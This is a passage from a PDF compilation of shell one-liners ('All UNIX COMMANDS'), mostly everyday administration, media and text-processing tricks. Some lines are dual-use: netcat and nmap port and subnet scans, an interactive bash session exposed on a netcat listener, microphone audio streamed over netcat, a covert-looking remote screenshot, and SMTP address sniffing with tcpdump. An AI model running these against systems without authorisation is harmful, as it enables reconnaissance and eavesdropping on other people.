leo() { lang=en; IFS=+; Q="${*// /%20}"; curl -s "https://dict.leo.org/${lang}de/?search=$
{Q//+/%20}" | html2text | grep -EA 900 '^\*{5} ' | grep -B 900 '^Weitere Aktionen$';}
# grep apache access.log and list IP's by hits and date - sorted
grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort
-rn | head
# Recursively remove 0kb files from a directory
find . -empty -type f -delete
# Mount directories in different locations
mount --bind /old/directory/path /new/directory/path
# Resize a Terminal Window

128 / 658

All UNIX COMMANDS


printf "\e[8;70;180;t"
# Update program providing a functionality on Debian
update-alternatives --config java
# Short one line while loop that outputs parameterized content from one file to another
cut -f 1 three-column.txt > first-column.txt
# check open ports (both ipv4 and ipv6)
lsof -Pn | grep LISTEN
# Monitoring file handles used by a particular process
lsof -c <process name> -r
# On Mac OS X, runs System Profiler Report and e-mails it to specified address.
system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com
# Pass TAB as field separator to sort, join, cut, etc.
sort -t $'\t' -k 2 input.txt
# Create QR codes from a URL.
qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1"
-o - | display -filter point -resize 600x600 png:-; }
# Find a file's package or list a package's contents.
dlocate [ package | string ]
# Play random music from blip.fm
mpg123 `curl -s http://blip.fm/all | sed -e 's#"#\n#g'

| grep mp3$

| xargs`

# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh <REMOTE> "(cat > tmp.pubkey ; mkdir -p .ssh ; touch
.ssh/authorized_keys ; sed -i.bak -e '/$(awk '{print $NF}' ~/.ssh/id_rsa.pub)/d'
.ssh/authorized_keys; cat tmp.pubkey >> .ssh/authorized_keys; rm tmp.pubkey)"
# Quick directory bookmarks
to() { eval dir=\$$1; cd "$dir"; }
# List all process running a specfic port
sudo lsof -i :<port>
# Mount a partition from within a complete disk dump
lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo

# Use AbiWord to generate a clean HTML document from a Microsoft Word document.
abiword --to=html file.doc --exp-props=
# netcat as a portscanner
nc -v -n -z -w 1 127.0.0.1 22-1000
# Let's make screen and ssh-agent friends
eval `ssh-agent`; screen
# Customize time format of 'ls -l'
ls -l --time-style=+"%Y-%m-%d %H:%M:%S"
# Create subdirectory and move files into it
(ls; mkdir subdir; echo subdir) | xargs mv

129 / 658

All UNIX COMMANDS


# Mount and umount iso files
function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD &&
ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
# check for write/read permissions
find ~/ -type d \( -wholename '/dev/*' -o -wholename '/sys/*' -o -wholename '/proc/*' \)
-prune -o -exec test -w {} \; -exec echo {} writable \; 2>/dev/null
# Generate a binary file with all ones (0xff) in it
tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
# list all file extensions in a directory
ls -Xp | grep -Eo "\.[^/]+$" | sort | uniq
# decoding Active Directory date format
ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld>
-w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne
's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
# Function that counts recursively number of lines of all files in specified folders
count() { find $@ -type f -exec cat {} + | wc -l; }
# display date of last time a process was started in `date` format
ps -o lstart <pid>
# Limit the cpu usage of a process
prlimit --cpu=10 sort -u hugefile
# Display screen window number in prompt
[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "
# Command line progress bar
tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
# Watch several log files in a single window
multitail /var/log/messages /var/log/apache2/access.log /var/log/mail.info
# prints line numbers
cat -n
# Every Nth line position # (AWK)
awk 'NR%3==1' file
# Simple XML tag extract with sed
sed -n 's/.*<foo>\([^<]*\)<\/foo>.*/\1/p'
# delay execution of a command that needs lots of memory and CPU time until the resources
are available
( ( while [ 2000 -ge "$(free -m | awk '/buffers.cache:/ {print $4}')" ] || [ $(echo "$
(uptime | awk '{print $10}' | sed -e 's/,$//' -e 's/,/./') >= $(grep -c ^processor
/proc/cpuinfo)" | bc) -eq 1 ]; do sleep 10; done; my-command > output.txt ) & )
# Notify me when users log in
notifyme -C `cat /etc/passwd | cut -d: -f1`
# nice disk usage, sorted by size, see description for full command
du -sk ./* | sort -nr
# diff two sorted files

130 / 658

All UNIX COMMANDS


diff <(sort file1.txt) <(sort file2.txt)
# Convert wmv into avi
mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi
# Remove all unused kernels with apt-get
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\
+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge

# Using json.tool from the shell to validate and pretty-print


echo '{"json":"obj"}' | python -mjson.tool
# determine if tcp port is open
nmap -p 80 hostname
# Dump sqlite database to plain text format
echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt
# Verify if ntpd is working properly
ntpq -p
# Suppress output of loud commands you don't want to hear from
quietly() { "$@" |&:; }
# Size(k) of directories(Biggest first)
find . -depth -type d -exec du -s {} \; | sort -k1nr
# Creating A Single Image Video With Audio via ffmpeg
ffmpeg -loop 1 -i image.png -i sound.mp3 -shortest video.mp4
# most used commands in history (comprehensive)
history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i
}' | sort | uniq -c | sort -nr | head
# Get a list of ssh servers on the local subnet
nmap -p 22 --open -sV 192.168.2.0/24
# View online pdf documents in cli
curl 'LINK' | pdftotext - - | less
# Convert JSON to YAML
python -c 'import sys, yaml, json; yaml.dump(json.load(sys.stdin), sys.stdout,
default_flow_style=False)' < file.json > file.yaml
# kill all processes using a directory/file/etc
lsof|grep /somemount/| awk '{print $2}'|xargs kill
# List your largest installed packages.
dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if
[ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed
"s/total/$pkg/"; done
# Console clock
yes "echo -ne '\r'\`date\`;sleep 1" | sh
# Arch Linux sort installed packages by size
paste <(pacman -Q | awk '{ print $1; }' | xargs pacman -Qi | grep 'Size' | awk '{ print
$4$5; }') <(pacman -Q | awk '{print $1; }') | sort -n | column -t

131 / 658

All UNIX COMMANDS


# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename 's/foo/bar/g' ./*
# Viewable terminal session over network.
mkfifo /tmp/view; nc -l 9876 < /tmp/view& script -f /tmp/view
# kill some pids without specific pid
pkill -9 search_criteria
# Randomize lines in a file
shuf SOMEFILE
# Calculate sum of N numbers (Thanks to flatcap)
seq -s "+" 3 | bc
# Load another file in vim
:split <file>
# combine `mkdir foo && cd foo` into a single function `mcd foo`
function mcd() {
[ -n "$1" ] && mkdir -p "$@" && cd "$1";
}
# Perform sed substitution on all but the last line of input
sed -e "$ ! s/$/,/"
# Convert ascii string to hex
echo -n "text" | od -A n -t x1 |sed 's/ /\\x/g'
# Randomize lines in a file
sort -R SOMEFILE

# Remove comments and empty lines from a conf file


grep ^[^#] /etc/file.conf
# Terminal - Prints out, what the users name, notifyed in the gecos field, is
getent passwd $(whoami) | cut -f 5 -d: | cut -f 1 -d,
# How to run a command on a list of remote servers read from a file
dsh -M -c -f servers -- "command HERE"
# Weather on the Command line
lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 |
grep GMT | awk '{print $3}'
# Ensure that each machine that you log in to has its own history file
export HISTFILE="$HOME/.bash_history-$(hostname -s)"
# Create date based backups
backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
# let the cow suggest some commit messages for you
curl -s http://whatthecommit.com/index.txt | cowsay
# Run a command as root, with a delay
sudo bash -c "sleep 1h ; command"
# (Git) Revert files with changed mode, not content
git diff --numstat | awk '{if ($1 == "0" && $2 == "0") print $3}'

132 / 658

| xargs git checkout HEAD

All UNIX COMMANDS


# Broadcast your shell thru port 5000
bash -i 2>&1 | tee /dev/stderr | nc -l 5000
# get you public ip address
curl http://ifconfig.me/ip
# shutdown pc in 4 hours without needing to keep terminal open / user logged in.
shutdown -h 240 & disown
# Propagate a directory to another and create symlink to content
lndir sourcedir destdir
# validate the syntax of a perl-compatible regular expression
perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
# Check motherboard manufacturer, product name, version and serial number
dmidecode | grep -i 'Base Board Information' -A4 -B1
# Copy a file using dd and watch its progress
dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done
# Jump up to any directory above the current one
upto() { cd "${PWD/\/$@\/*//$@}" }
# Your GeoIP location on Google Maps
curl -s http://geoiplookup.wikimedia.org/|awk -F, '{print $3,$4}'|awk -F'"' '{print
"http://maps.google.com/maps?q="$4 "," $8}'
# Progress bar for MySQL import
pv -i 1 -p -t -e /path/to/sql/dump | mysql -u USERNAME -p DATABASE_NAME
# Watch your freebox flux, through a other internet connection (for French users)
vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout
'#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=htt
p,mux=ogg,url=:12345}' -I ncurses 2> /dev/null
# Determine whether a CPU has 64 bit capability or not
if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi
# Stream (almost) any music track in mplayer
python2 -c 'import urllib2 as u, sys as s, json as j, subprocess as p;p.call(["mplayer",
u.urlopen(j.loads(u.urlopen("http://ex.fm/api/v3/song/search/%s" %
"+".join(s.argv[1:])).read())["songs"][0]["url"]).geturl().split("#")[0]])' lenny kravitz
fly away
# Pipe text from shell to windows cut and paste buffer using PuTTY and XMing.
echo "I'm going to paste this into WINDERS XP" | xsel -i
# Simple top directory usage with du flips for either Linux or base Solaris
( du -xSk || du -kod ) | sort -nr | head
# List files by quoting or escaping special characters.
ls --quoting-style={escape,shell,c}

# Count down from 10


for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done

133 / 658

All UNIX COMMANDS


# Show your account and windows policy settings with Results of Policy msc.
rsop.msc
# bash shell expansion
cp /really/long/path/and/file/name{,-`date -I`}
# Change Title of Terminal Window to Verbose Info useful at Login
echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/
[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `ps
aux|wc -l`]\007"
# Find broken symlinks in the current directory and its subdirectories.
find -L -type l
# Run local bash script on remote server
ssh -T user@server < script.sh
# Move all comments the top of the file in vim
:g:^\s*#.*:m0
# What is My WAN IP?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
# matrix in your term
cmatrix -abx
# enable all bash completions in gentoo
for x in $(eselect bashcomp list | sed -e 's/ //g' | cut -d']' -f2 | sed -e 's/\*//');do
eselect bashcomp enable $x --global;sleep 0.5s;done
# Printable random characters
tr -dc '[:print:]' < /dev/urandom
# Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
# validate json
curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no
# find an unused unprivileged TCP port
netstat -atn | awk ' /tcp/ {printf("%s\n",substr($4,index($4,":")+1,length($4) )) }' | sed
-e "s/://g" | sort -rnu | awk '{array [$1] = $1} END {i=32768; again=1; while (again == 1)
{if (array[i] == i) {i=i+1} else {print i; again=0}}}'
# Print line immediately before a matching regex.
awk '/regex/{print x};{x=$0}'
# update you web
git archive --format=tar HEAD | (cd /var/www/ && tar xf -)
# Suspend an ssh session.
~ ctrl-z
# List of reverse DNS records for a subnet
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is
"$2}' | grep '('
# bash-quine
s='s=\47%s\47; printf "$s" "$s"'; printf "$s" "$s"

134 / 658

All UNIX COMMANDS


# bash script to zip a folder while ignoring git files and copying it to dropbox
git archive HEAD --format=zip > archive.zip
# Remove Thumbs.db files from folders
rm -f **/Thumbs.db
# Reconnect to screen without disconnecting other sessions
screen -xR
# Find jpeg images and copy them to a central location
find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u
--target-directory {location} &
# copy timestamps of files from one location to another - useful when file contents are
already synced but timestamps are wrong.
find . -printf "touch -m -d \"%a\" '%p'\n" | tee /tmp/retime.sh
# remove all snapshots from all virtual machines in vmware esx
time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done

# Twitpic upload and Tweet


curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image
--form-string "message=tweet" http://twitpic.com/api/uploadAndPost
# split a multi-page PDF into separate files
gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf
multipageinputfile.pdf
# Grab a list of MP3s out of Firefox's cache
for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed
s/.$//; done
# Generate White Noise
cat /dev/urandom > /dev/dsp
# Clean way of re-running bash startup scripts.
exec bash
# output list of modifications for an svn revision
svn log $url -r $revision -v | egrep "
[RAMD] \/" | sed s/^.....//
# Console clock
watch -n1 'date "+%T"'
# m4a to mp3 conversion with ffmpeg and lame
ffmpeg -i input.m4a -acodec libmp3lame -ab 128k output.mp3
# Simulate typing
echo "You can have a bit more realistic typing with some shell magic." | pv -qL $[10+(-2 +
RANDOM%5)]
# Download from Rapidshare Premium using wget - Part 1
wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O
- https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
# list all opened ports on host
nmap -p 1-65535 --open localhost

135 / 658

All UNIX COMMANDS


# remove empty lines in place with backup
sed -e '/^$/d' -i .bak filewithempty.lines
# stop windows update
runas /user:administrator net stop wuauserv
# Send a local file via email
mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null
# convert a line to a space
cat file | tr '\n' ''
# Quickly display a string as Qr Code
qr(){ qrencode ${1} -o - | xview stdin; }
# Real time satellite wheather wallpaper
curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
# vim multiple files at one time, split vertically.
vim -O file1 file2
# Send a local file via email
mpack -s "Backup: $file" "$file" email@id.com
# ping MAC ADDRESS
ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'`
# list all opened ports on host
sudo lsof -P -i -n -sTCP:LISTEN
# list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '($1 < 2048) {print $2}'
# Analyse compressed Apache access logs for the most commonly requested pages
zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
# Console clock -- within screen
echo 'hardstatus alwayslastline " %d-%m-%y %c:%s | %w"' >> $HOME/.screenrc; screen
# gawk gets fixed width field
ls -l | gawk -v FIELDWIDTHS='1 3 3 3' '{print $2}'

# display typedefs, structs, unions and functions provided by a header file


cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
# Output Detailed Process Tree for any User
psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
# Monitor a file with tail with timestamps added
tail -f file | while read line; do printf "$(date -u '+%F %T%z')\t$line\n"; done
# Lists all directories under the current dir excluding the .svn directory and its contents
find . \( -type d -name .svn -prune \) -o -type d -print
# bash pause command
read -p "Press enter to continue.."
# Display a list of RPMs installed on a particular date

136 / 658

All UNIX COMMANDS


rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release}
{installtime:date}\n' | grep "Thu 05 Mar"

# For finding out if something is listening on a port and if so what the daemon is.
fuser -n tcp {0..65535}
# Piping Microphone Audio Over Netcat
port=3333;card=0;subdevice=0;arecord -D hw:${card},${subdevice} -f S16_LE -c2|nc -l $port
# Multiple variable assignments from command output in BASH
eval $(date +"day=%d; month=%m; year=%y")
# Rsync a directory excluding pesky .svn dirs
rsync -rv --exclude .svn src/dir/ dest/dir/
# Substitute spaces in filename with underscore
ls -1 | rename 's/\ /_/'
# phpinfo from the command line
php -r "phpinfo();"
# Create a 5 MB blank file
dd if=/dev/zero of=testfile bs=1024 count=5000
# commit message generator - whatthecommit.com
curl http://whatthecommit.com/index.txt
# removing syncronization problems between audio and video
ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
# Show simple disk IO table using snmp
watch -n1 snmptable -v2c -c public localhost diskIOTable
# Easily decode unix-time (funtion)
utime { date -d @$1; }
# vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste' is off,
and so forth (works in insert-mode and command-mode)
:set pt=<f9>
# extracting audio and video from a movie
ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3
# Print a row of characters across the terminal
printf -v row "%${COLUMNS}s"; echo ${row// /#}
# Get IP from hostname
dig +short google.com
# Find out if a module is installed in perl
perldoc -l Module::Name 2>/dev/null
# Open a file explorer on a split screen inside your vim session
:Sex
# Search for packages, ranked by popularity
apt-popcon() { (echo \#rank; apt-cache search "$@" |awk '$1 !~ /^lib/ {print " "$1" "}') |
grep -Ff- <(wget -qqO- http://popcon.debian.org/by_inst.gz |gunzip); }
# Shows you how many hours of avi video you have.

137 / 658

All UNIX COMMANDS


/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "="
'{sum += $2} END {print sum/60/60; print "hours"}'

# List the size (in human readable form) of all sub folders from the current location
du -sch ./*
# Binary clock
echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=' ') f"|dc|tac|xargs printf
"%04d\n"|tr "01" ".*"
# Display HTTP-header using curl
curl -I g.cn
# Copy sparse files
cp --sparse=always <SRC> <DST>
# Mac OS-X-> copy and paste things to and from the clipboard from the shell
command | pbcopy && pbpaste
# Install an mpkg from the command line on OSX
sudo installer -pkg /Volumes/someapp/someapp.mpkg -target /
# Get information on your graphics card on linux (such as graphics memory size)
for I in `/sbin/lspci |awk '/VGA/{print $1}'`;do /sbin/lspci -v -s $I;done
# distribution specific information
lsb_release -a
# Lists all files and directories with modified time newer than a given date
touch -t "YYYYMMDDhhmm.ss" ~/.ts ; find . -newer ~/.ts
# Resize A Mounted EXT3 File System
v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
# Print current running shell, PID
ps -p $$
# Default value or argument
num_lines=${1:-42}
# Count number of Line for all the files in a directory recursively
for file in `find . -type f`; do cat $file; done | wc -l
# How to know the total number of packages available
apt-cache stats
# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }
# Mplayer save stream to file
mplayer -nolirc <Streaming_URL> -dumpstream -dumpfile output.mp3
# cd into another dir to run a one-liner, but implicitly drop back to your $OLD_PWD after
( cd $DIR; command; )
# Catch a proccess from a user and strace it.
x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi;
strace -vvtf -s 256 -p $process

138 / 658

done;

All UNIX COMMANDS


# killall -r ".*my-process.*"
Kill all process using regular expression (-r option)
# Show current weather for any US city or zipcode
weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^
*//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
# Find the 10 users that take up the most disk space
du -sm /home/* | sort -nr | head -n 10
# Show complete URL in netstat output
netstat -tup -W | column -t
# Convert deb to rpm
alien -r -c file.deb
# Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$
(echo -n $@ | base64)/plaintext" --silent | vim -R - }
# Grabs a random image from "~/wallpapers" and sets as the background
cd ~/wallpapers; feh --bg-fill "$( ls | sort -R | head -n 1 )"

# define a function "hg" combining history and grep to save typing


function hg () { history | grep $* ; } # define a function combining history and grep to
save typing :-)
# Split lossless audio (ape, flac, wav, wv) by cue file
cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file>
# Hex math with bc
echo 'obase=16; C+F' | bc
# geoip lookup
geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>]
[^>]*>//g' ;}
# shows the full path of shell commands
which command
# Quickly analyse an Apache error log
for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0,
index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1; done
# list files with last modified at the end
alias lrt='ls -lart'
# Execute a command with a timeout
perl -e "alarm 10; exec @ARGV" "somecommand"
# Get a BOFH excuse
telnet towel.blinkenlights.nl 666 | sed "s/=== The BOFH Excuse Server ===//" | tr -d '\n' &&
echo
# Fetch the current human population of Earth
curl -s http://www.census.gov/popclock/data/population/world | awk -F'[:,]' '{print $7}'

139 / 658

All UNIX COMMANDS


# ISO info
isoinfo -d -i filename.iso
# Display the top ten running processes - sorted by memory usage
ps aux --sort -rss | head
# find the longest command in your history
history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest =
$lsize{$_}; print "$_"; };' | tail -n1
# Find files and calculate size of result in shell
echo $(($(find . -name "pattern" -type f -printf "+%s")))
# Pulls total current memory usage, including SWAP being used, by all active processes.
ps aux | awk '{sum+=$6} END {print sum/1024}'
# Ext3 format Terabytes in Seconds
mkfs.ext3 -T largefile4
# Random numbers with Ruby
ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
# Tar - Compress by excluding folders
tar -cvzf arch.tgz $(find /path/dir -not -type d)
# improve copy file over ssh showing progress
file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip
-c | ssh -c blowfish user@host tar -zxf - -C /opt/games
# Compression formats Benchmark
for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero
bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo
$total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
# Perl one liner for epoch time conversion
perl -pe's/([\d.]+)/localtime $1/e;'
# Print all the lines between 10 and 20 of a file
sed '10,20!d'
# Add SVN keywords property to all PHP and Javascript files
find . \( -name "*.php" -o -name "*.js" \) -exec svn propset svn:keywords Id {} \;
# List of directories sorted by number of files they contain.
sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i | wc -l) ":
$i"; done;)
# Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php
eval $(sed -n "s/^d[^D]*DB_\([NUPH]\)[ASO].*',[^']*'\([^']*\)'.*/_\1='\2'/p" wp-config.php)
&& mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d
%y-%H%M.$_N.sqls`

# shell function to make gnu info act like man.


alias info='info --vi-keys'
# Title Case Files
rename 's/\b((?!(a|of|that|to)\b)[a-z]+)/\u$1/g' *

140 / 658

All UNIX COMMANDS


# Write a shell script that removes files that contain a string
find -type f -exec grep -q "regexp" {} \; -delete
# Show directories in the PATH, one per line
( IFS=:; for p in $PATH; do echo $p; done )
# renice by name
renice +5 -p $(pidof <process name>)
# Bulk install
aptitude install '?and(~nlib.*perl, ~Dmodule)'
# Change wallpaper for xfce4 >= 4.6.0
xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>
# Replace all tabs with spaces in an application
grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/

/g'

# Check apache config syntax and restart or edit the file


( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed
's/.*line\s\([0-9]*\).*/\1/'); vim +$l $(locate apache2.conf | head -n1)))
# bash find function
find (); { ls $1 | while read line; do [[ -d $1/$line ]] && find $1/$line $2 || echo
$1/$line | grep $2; done; }
# Remount root in read-write mode.
sudo mount -o remount,rw /
# Show the 20 most CPU/Memory hungry processes
ps aux | sort +2n | tail -20
# Show the UUID of a filesystem or partition
sudo vol_id -u /dev/sda1
# Number of files in a SVN Repository
svn log -v --xml file:///path/to/rep | grep kind=\"file\"|wc -l
# grep across a git repo and open matching files in gedit
git grep -l "your grep string" | xargs gedit
# Debug SSH at the Maximum Verbosity Level
alias sshv='ssh -vvv -o LogLevel=DEBUG3'
# Deleting / Ignoring lines from the top of a file
tail -n +2 foo.txt
# use the real 'rm', distribution brain-damage notwithstanding
\rm somefile
# Mount partition from image (without offset mount)
losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1
/mountpoint/
# useless load
cat /dev/urandom | gzip -9 > /dev/null &
# Read aloud a text file in Mac OS X
say -f file.txt

141 / 658

All UNIX COMMANDS


# Remote screenshot
DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png
# Cleanup debian/ubuntu package configurations
sudo dpkg-reconfigure -a
# List only executables installed by a debian package
find $(dpkg -L iptables) -maxdepth 0 -executable -type f
# rot13 simple substitution cipher via command line
alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'

# Current running process ordered by %CPU


ps -eo pcpu,pid,args | sort -n
# Install Linux Kernel Headers
sudo apt-get install linux-headers-$(uname -r)
# Encryption file in commad line
gpg -c <filename>
# SMTP Analysis
tcpdump -l -s0 -w - tcp dst port 25 | strings | grep -i 'MAIL FROM\|RCPT TO'
# Coping files, excluding certain files
find ./ ! -name 'excludepattern' | xargs -i cp --parents {} destdir
# To find the uptime of each process-id of particular service or process
ps -o etime `pidof firefox` |grep -v ELAPSED | sed 's/\s*//g' | sed "s/\(.*\)-\(.*\):\
(.*\):\(.*\)/\1d \2h/; s/\(.*\):\(.*\):\(.*\)/\1h \2m/;s/\(.*\):\(.*\)/\1m \2s/"
# Email yourself a short note
quickemail() { echo "$*" | mail -s "$*" email@email.com; }
# Plowshare, download files from cyberlocker like rapidshare megaupload ...etc
plowdown http://www.megaupload.com/?d=abc1234567
# Awk: Perform a rolling average on a column of data
awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat
# Show in a web server, running in the port 80, how many ESTABLISHED connections by ip it
has.
netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort
| uniq -c | sort -n
# clean up syntax and de-obfuscate perl script
%! perl -MO=Deparse | perltidy
# Listing only one repository with yum
yum --disablerepo=* --enablerepo=epel list available
# Convert (almost) any video file into webm format for online html5 streaming
ffmpeg -i input_file.avi output_file.webm
# Backup of a partition
cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )

142 / 658

All UNIX COMMANDS


# display a smiling smiley if the command succeeded and a sad smiley if the command failed
<commmand>; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi
# xargs for builtin bash commands
xargsb() { while read -r cmd; do ${@//'{}'/$cmd}; done; }
# Provide the ten largest subfolders in the current folder
du -hsx * | sort -rh | head -10
# Send a signed and encrypted email from the command line
echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM
# Speaking alarm clock
sleep 8h && while [ 1 ] ; do date "+Good Morning. It is time to wake up. The time is %I %M
%p" | espeak -v english -p 0 -s 150 -a 100 ; sleep 1m; done
# which process is accessing the CDROM
lsof -n | grep /media/cdrom
# Burn a directory of mp3s to an audio cd.
alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav"
"$i";done;cdrecord -pad ./temp/* && rm -r ./temp'
# kills rapidly spawning processes that spawn faster than you can repeat the killall command
alias a=" killall rapidly_spawning_process"; a; a; a;
# Check your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | awk
'BEGIN{FS="\n";RS="(</entry>\n)?<entry>"}NR!=1{print "\033[1;31m"$9"\033[0;32m
("$10")\033[0m:\t\033[1;33m"$2"\033[0m"}' | sed -e 's,<[^>]*>,,g' | column -t -s $'\t'
# Search manpages for a keyword
man -k <keyword>
# See entire packet payload using tcpdump.
tcpdump -nnvvXSs 1514 -i <device> <filters>

# diff output of two commands


diff <(tail -10 file1) <(tail -10 file2)
# from the console, start a second X server
xinit -- :1
# Get your current Public IP
dig myip.opendns.com @Resolver1.opendns.com +short
# FizzBuzz in Perl
perl -E 'say$_%15?$_%3?$_%5?$_:Buzz:Fizz:Fizzbuzz for 1..100'
# Prints new content of files
tail -f file1 (file2 .. fileN)
# Faster find and move using the find and xargs commands. Almost as fast as locate.
find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}"
/destination/path
# Find all files currently open in Vim and/or gVim
vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5

143 / 658

All UNIX COMMANDS


# Send your terminfo to another machine
infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti && tic /tmp/ti"
# watch iptables counters
watch 'iptables -vL'
# Watch contents of a file grow
tail -n 0 -f /var/log/messages
